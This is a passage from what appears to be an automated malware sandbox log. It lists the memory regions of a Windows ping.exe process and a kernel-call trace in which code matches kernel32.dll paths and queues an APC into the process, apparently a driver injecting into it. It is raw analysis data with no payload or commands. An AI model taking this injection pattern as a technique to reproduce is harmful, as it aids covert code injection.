0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 2809 start_va = 0x80000 end_va = 0x8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000080000" filename = "" Region: id = 2810 start_va = 0x410000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 2811 start_va = 0x757c0000 end_va = 0x757c6fff entry_point = 0x757c128d region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\SysWOW64\\winnsi.dll" Region: id = 2812 start_va = 0x757d0000 end_va = 0x757ebfff entry_point = 0x757da431 region_type = mapped_file name = "IPHLPAPI.DLL" filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" Region: id = 2813 start_va = 0x75980000 end_va = 0x7598bfff entry_point = 0x759810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" Region: id = 2814 start_va = 0x75990000 end_va = 0x759effff entry_point = 0x759aa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" Region: id = 2815 start_va = 0x75a80000 end_va = 0x75b7ffff entry_point = 0x75a9b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" Region: id = 2816 start_va = 0x75ca0000 end_va = 0x75d3cfff entry_point = 0x75cd3fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" Region: id = 2817 start_va = 0x75fc0000 end_va = 0x7606bfff entry_point = 0x75fca472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" Region: id = 2818 start_va = 0x76510000 end_va = 0x765fffff entry_point = 0x76520569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" Region: id = 2819 start_va = 0x76600000 end_va = 0x76609fff entry_point = 0x766036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" Region: id = 2820 start_va = 0x77260000 end_va = 0x77265fff entry_point = 0x77261782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" Region: id = 2821 start_va = 0x772d0000 end_va = 0x7736ffff entry_point = 0x772e49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" Region: id = 2822 start_va = 0x77370000 end_va = 0x77388fff entry_point = 0x77374975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" Region: id = 2823 start_va = 0x77390000 end_va = 0x7741ffff entry_point = 0x773a6343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" Region: id = 2824 start_va = 0x774d0000 end_va = 0x77504fff entry_point = 0x774d145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" Region: id = 2825 start_va = 0x420000 end_va = 0x5a7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 2826 start_va = 0x77420000 end_va = 0x7747ffff entry_point = 0x7743158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" Region: id = 2827 start_va = 0x77710000 end_va = 0x777dbfff entry_point = 0x7771168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" Region: id = 2828 start_va = 0x90000 end_va = 0x96fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 2829 start_va = 0xa0000 end_va = 0xa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 2830 start_va = 0xb0000 end_va = 0xb2fff entry_point = 0xb0000 region_type = mapped_file name = "ping.exe.mui" filename = "\\Windows\\SysWOW64\\en-US\\ping.exe.mui" Region: id = 2831 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 2832 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 2833 start_va = 0x5b0000 end_va = 0x730fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 2834 start_va = 0x740000 end_va = 0x7fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000740000" filename = "" Region: id = 2835 start_va = 0x77920000 end_va = 0x77949fff entry_point = 0x779212fa region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\SysWOW64\\imagehlp.dll" Region: id = 2836 start_va = 0x870000 end_va = 0x8affff entry_point = 0x0 region_type = private name = "private_0x0000000000870000" filename = "" Region: id = 2837 start_va = 0x75d60000 end_va = 0x75ebbfff entry_point = 0x75daba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" Region: id = 2838 start_va = 0x76210000 end_va = 0x76266fff entry_point = 0x76229ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" Region: id = 2839 start_va = 0x76610000 end_va = 0x77259fff entry_point = 0x76691601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" Region: id = 2840 start_va = 0x75b80000 end_va = 0x75c9cfff entry_point = 0x75b8158a region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" Region: id = 2841 start_va = 0x75ec0000 end_va = 0x75fb4fff entry_point = 0x75ec1865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" Region: id = 2842 start_va = 0x764d0000 end_va = 0x764dbfff entry_point = 0x764d238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" Region: id = 2843 start_va = 0x77510000 end_va = 0x7770afff entry_point = 0x775122d9 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" Region: id = 2844 start_va = 0x777e0000 end_va = 0x77915fff entry_point = 0x777e1b35 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" Region: id = 2845 start_va = 0x77950000 end_va = 0x779defff entry_point = 0x77953fb1 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" Region: id = 2851 start_va = 0xa50000 end_va = 0xb4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000a50000" filename = "" Region: id = 2852 start_va = 0xb50000 end_va = 0xe1efff entry_point = 0xb50000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 2869 start_va = 0x3a0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 2870 start_va = 0x9d0000 end_va = 0xa0ffff entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 2871 start_va = 0x75790000 end_va = 0x757b0fff entry_point = 0x7579145e region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\SysWOW64\\ntmarta.dll" Region: id = 2872 start_va = 0x779e0000 end_va = 0x77a24fff entry_point = 0x779e11e1 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\SysWOW64\\Wldap32.dll" Region: id = 2873 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 2874 start_va = 0x990000 end_va = 0x9cffff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2875 start_va = 0xe60000 end_va = 0xe9ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e60000" filename = "" Region: id = 2876 start_va = 0x7efd5000 end_va = 0x7efd7fff entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 2922 start_va = 0x970000 end_va = 0x9affff entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 2923 start_va = 0xee0000 end_va = 0xf1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 2924 start_va = 0xf70000 end_va = 0xfaffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 2925 start_va = 0xfe0000 end_va = 0x101ffff entry_point = 0x0 region_type = private name = "private_0x0000000000fe0000" filename = "" Region: id = 2926 start_va = 0x7efad000 end_va = 0x7efaffff entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 2927 start_va = 0x1020000 end_va = 0x10ecfff entry_point = 0x10332d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" Region: id = 2928 start_va = 0x10f0000 end_va = 0x11fffff entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 2948 start_va = 0x75740000 end_va = 0x7577bfff entry_point = 0x7574145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" Region: id = 2979 start_va = 0x800000 end_va = 0x838fff entry_point = 0x80145d region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\SysWOW64\\mswsock.dll" Region: id = 2980 start_va = 0x8b0000 end_va = 0x8ebfff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 2981 start_va = 0x800000 end_va = 0x832fff entry_point = 0x80145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" Region: id = 2982 start_va = 0x8b0000 end_va = 0x8e4fff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 2983 start_va = 0x75730000 end_va = 0x75736fff entry_point = 0x75731120 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" Region: id = 2984 start_va = 0x210000 end_va = 0x213fff entry_point = 0x211120 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\SysWOW64\\wsock32.dll" Region: id = 2985 start_va = 0x220000 end_va = 0x226fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 2986 start_va = 0x756e0000 end_va = 0x75723fff entry_point = 0x756f63f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" Region: id = 3013 start_va = 0x11e0000 end_va = 0x121ffff entry_point = 0x0 region_type = private name = "private_0x00000000011e0000" filename = "" Region: id = 3014 start_va = 0x800000 end_va = 0x841fff entry_point = 0x8163f9 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\SysWOW64\\dnsapi.dll" Region: id = 3015 start_va = 0x8b0000 end_va = 0x8f3fff entry_point = 0x0 region_type = private name = "private_0x00000000008b0000" filename = "" Region: id = 3017 start_va = 0x1020000 end_va = 0x110ffff entry_point = 0x1021865 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\SysWOW64\\wininet.dll" Region: id = 3018 start_va = 0x1220000 end_va = 0x1314fff entry_point = 0x0 region_type = private name = "private_0x0000000001220000" filename = "" Region: id = 3030 start_va = 0x210000 end_va = 0x210fff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3031 start_va = 0x220000 end_va = 0x220fff entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 3032 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 3059 start_va = 0x8f0000 end_va = 0x92ffff entry_point = 0x0 region_type = private name = "private_0x00000000008f0000" filename = "" Region: id = 3060 start_va = 0xe80000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000e80000" filename = "" Region: id = 3061 start_va = 0x13f0000 end_va = 0x142ffff entry_point = 0x0 region_type = private name = "private_0x00000000013f0000" filename = "" Region: id = 3062 start_va = 0x7efaa000 end_va = 0x7efacfff entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3063 start_va = 0x756d0000 end_va = 0x756d4fff entry_point = 0x756d15df region_type = mapped_file name = "WSHTCPIP.DLL" filename = "\\Windows\\SysWOW64\\WSHTCPIP.DLL" Region: id = 3663 start_va = 0x380000 end_va = 0x384fff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3664 start_va = 0x75850000 end_va = 0x75863fff entry_point = 0x75851da9 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" Region: id = 3665 start_va = 0x380000 end_va = 0x380fff entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3666 start_va = 0x390000 end_va = 0x390fff entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3667 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 3668 start_va = 0x75810000 end_va = 0x75841fff entry_point = 0x758137f1 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" Region: id = 3669 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 3670 start_va = 0x400000 end_va = 0x400fff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 3671 start_va = 0x800000 end_va = 0x800fff entry_point = 0x0 region_type = private name = "private_0x0000000000800000" filename = "" Region: id = 3672 start_va = 0x810000 end_va = 0x810fff entry_point = 0x0 region_type = private name = "private_0x0000000000810000" filename = "" Region: id = 3673 start_va = 0x820000 end_va = 0x820fff entry_point = 0x0 region_type = private name = "private_0x0000000000820000" filename = "" Region: id = 3674 start_va = 0x830000 end_va = 0x831fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000830000" filename = "" Region: id = 3675 start_va = 0x840000 end_va = 0x840fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000840000" filename = "" Region: id = 3676 start_va = 0x850000 end_va = 0x851fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000850000" filename = "" Region: id = 3677 start_va = 0x1020000 end_va = 0x111ffff entry_point = 0x0 region_type = private name = "private_0x0000000001020000" filename = "" Region: id = 3678 start_va = 0x75530000 end_va = 0x756cdfff entry_point = 0x7555e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" Region: id = 3679 start_va = 0x75800000 end_va = 0x7580afff entry_point = 0x75801992 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\SysWOW64\\profapi.dll" Region: id = 3680 start_va = 0x860000 end_va = 0x867fff entry_point = 0x860000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" Region: id = 3681 start_va = 0x8b0000 end_va = 0x8b3fff entry_point = 0x8b0000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" Region: id = 3682 start_va = 0x8c0000 end_va = 0x8c3fff entry_point = 0x8c0000 region_type = mapped_file name = "index.dat" filename = "\\Windows\\SysWOW64\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" Region: id = 3683 start_va = 0xe20000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 3684 start_va = 0x1230000 end_va = 0x126ffff entry_point = 0x0 region_type = private name = "private_0x0000000001230000" filename = "" Region: id = 3685 start_va = 0x754b0000 end_va = 0x754c4fff entry_point = 0x754b12de region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\SysWOW64\\rasman.dll" Region: id = 3686 start_va = 0x754d0000 end_va = 0x75521fff entry_point = 0x754d14be region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\SysWOW64\\rasapi32.dll" Region: id = 3687 start_va = 0x7efa7000 end_va = 0x7efa9fff entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3688 start_va = 0x757f0000 end_va = 0x757fcfff entry_point = 0x757f1326 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\SysWOW64\\rtutils.dll" Region: id = 3689 start_va = 0x1130000 end_va = 0x116ffff entry_point = 0x0 region_type = private name = "private_0x0000000001130000" filename = "" Region: id = 3690 start_va = 0x1270000 end_va = 0x12affff entry_point = 0x0 region_type = private name = "private_0x0000000001270000" filename = "" Region: id = 3691 start_va = 0x75780000 end_va = 0x75785fff entry_point = 0x7578125a region_type = mapped_file name = "SensApi.dll" filename = "\\Windows\\SysWOW64\\SensApi.dll" Region: id = 3692 start_va = 0x7efa4000 end_va = 0x7efa6fff entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3693 start_va = 0x8d0000 end_va = 0x8d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008d0000" filename = "" Region: id = 3694 start_va = 0x754a0000 end_va = 0x754affff entry_point = 0x754a38c1 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\SysWOW64\\nlaapi.dll" Region: id = 3695 start_va = 0x1580000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001580000" filename = "" Region: id = 3696 start_va = 0x13c0000 end_va = 0x13cffff entry_point = 0x0 region_type = private name = "private_0x00000000013c0000" filename = "" Region: id = 3697 start_va = 0x1770000 end_va = 0x177ffff entry_point = 0x0 region_type = private name = "private_0x0000000001770000" filename = "" Region: id = 3698 start_va = 0x75490000 end_va = 0x75495fff entry_point = 0x754914b2 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\SysWOW64\\rasadhlp.dll" Region: id = 3699 start_va = 0x1300000 end_va = 0x133ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 3700 start_va = 0x1350000 end_va = 0x138ffff entry_point = 0x0 region_type = private name = "private_0x0000000001350000" filename = "" Region: id = 3701 start_va = 0x75480000 end_va = 0x7548ffff entry_point = 0x75481526 region_type = mapped_file name = "NapiNSP.dll" filename = "\\Windows\\SysWOW64\\NapiNSP.dll" Region: id = 3702 start_va = 0x7efa1000 end_va = 0x7efa3fff entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3703 start_va = 0x75460000 end_va = 0x75471fff entry_point = 0x754618f2 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\SysWOW64\\pnrpnsp.dll" Region: id = 3704 start_va = 0x75450000 end_va = 0x75457fff entry_point = 0x7545131e region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\SysWOW64\\winrnr.dll" Region: id = 3705 start_va = 0x75440000 end_va = 0x75445fff entry_point = 0x75441673 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\SysWOW64\\wship6.dll" Region: id = 3706 start_va = 0x75400000 end_va = 0x75437fff entry_point = 0x7540990e region_type = mapped_file name = "FWPUCLNT.DLL" filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" Region: id = 4035 start_va = 0x8e0000 end_va = 0x8e0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000008e0000" filename = "" Region: id = 4036 start_va = 0x16d0000 end_va = 0x170ffff entry_point = 0x0 region_type = private name = "private_0x00000000016d0000" filename = "" Region: id = 4037 start_va = 0x76440000 end_va = 0x764c2fff entry_point = 0x764423d2 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" Region: id = 4038 start_va = 0x930000 end_va = 0x930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000930000" filename = "" Region: id = 4039 start_va = 0x75390000 end_va = 0x753e9fff entry_point = 0x75391f35 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\SysWOW64\\netprofm.dll" Region: id = 4040 start_va = 0x75370000 end_va = 0x75385fff entry_point = 0x75372dc3 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" Region: id = 4041 start_va = 0x75330000 end_va = 0x7536afff entry_point = 0x7533128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" Region: id = 4042 start_va = 0x75320000 end_va = 0x7532dfff entry_point = 0x75321235 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\SysWOW64\\RpcRtRemote.dll" Region: id = 4043 start_va = 0x1460000 end_va = 0x149ffff entry_point = 0x0 region_type = private name = "private_0x0000000001460000" filename = "" Region: id = 4044 start_va = 0x1590000 end_va = 0x15cffff entry_point = 0x0 region_type = private name = "private_0x0000000001590000" filename = "" Region: id = 4045 start_va = 0x75310000 end_va = 0x75317fff entry_point = 0x75312ca6 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\SysWOW64\\npmproxy.dll" Region: id = 4046 start_va = 0x7ef9e000 end_va = 0x7efa0fff entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 4047 start_va = 0x752f0000 end_va = 0x75301fff entry_point = 0x752f3271 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc.dll" Region: id = 4048 start_va = 0x752e0000 end_va = 0x752ecfff entry_point = 0x752e2012 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\SysWOW64\\dhcpcsvc6.dll" Thread: id = 316 os_tid = 0x510 [0095.898] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\PING.EXE", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.898] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.898] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\SysWOW64\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.900] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.900] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64win.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.901] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wow64cpu.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.904] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0095.904] IoIs32bitProcess (Irp=0x0) returned 1 [0095.904] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0095.904] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0095.904] IoIs32bitProcess (Irp=0x0) returned 1 [0095.904] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0095.904] IoGetCurrentProcess () returned 0xfffffa800389eb30 [0095.904] PsGetProcessPeb () returned 0x7efdf000 [0095.904] IoGetCurrentProcess () returned 0xfffffa800389eb30 [0095.904] PsGetProcessPeb () returned 0x7efdf000 [0095.904] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0095.904] IoIs32bitProcess (Irp=0x0) returned 1 [0095.904] RtlImageNtHeader (BaseAddress=0x77a30000) returned 0x77a300e8 [0095.905] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0095.907] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0095.907] IoIs32bitProcess (Irp=0x0) returned 1 [0095.907] RtlImageNtHeader (BaseAddress=0x76300000) returned 0x763000e8 [0095.907] IoGetCurrentProcess () returned 0xfffffa800389eb30 [0095.907] PsGetProcessPeb () returned 0x7efdf000 [0095.907] IoGetCurrentProcess () returned 0xfffffa800389eb30 [0095.907] PsGetProcessPeb () returned 0x7efdf000 [0095.907] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800376bb90 [0095.907] KeInitializeApc (Apc=0xfffffa800376bb90, Thread=0xfffffa800389f2f0, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0095.907] KeInsertQueueApc (Apc=0xfffffa800376bb90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0095.907] ExFreePoolWithTag (P=0xfffffa800376bb90, Tag=0x0) [0095.907] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80038a13a0 [0095.907] IoGetCurrentProcess () returned 0xfffffa800389eb30 [0095.907] PsGetCurrentProcessId () returned 0x50c [0095.907] IoIs32bitProcess (Irp=0x0) returned 1 [0095.907] KeInitializeEvent (in: Event=0xfffffa80038a13e0, Type=0x0, State=0 | out: Event=0xfffffa80038a13e0) [0095.907] ExQueueWorkItem (in: WorkItem=0xfffffa80038a13a0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038a13a0), QueueType=0x1 | out: WorkItem=0xfffffa80038a13a0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038a13a0)) [0095.931] KeWaitForMutexObject () returned 0x0 [0096.069] ExFreePoolWithTag (P=0xfffffa80038a13a0, Tag=0x0) [0096.070] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0096.086] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff880035d7000 [0096.086] IdePortDispatch () returned 0x103 [0097.093] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.093] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.094] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.095] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\sspicli.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.096] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.100] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\IPHLPAPI.DLL", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.110] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\nsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.113] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\winnsi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.117] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.117] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.118] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.118] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.119] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ws2_32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.187] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.188] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.192] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, 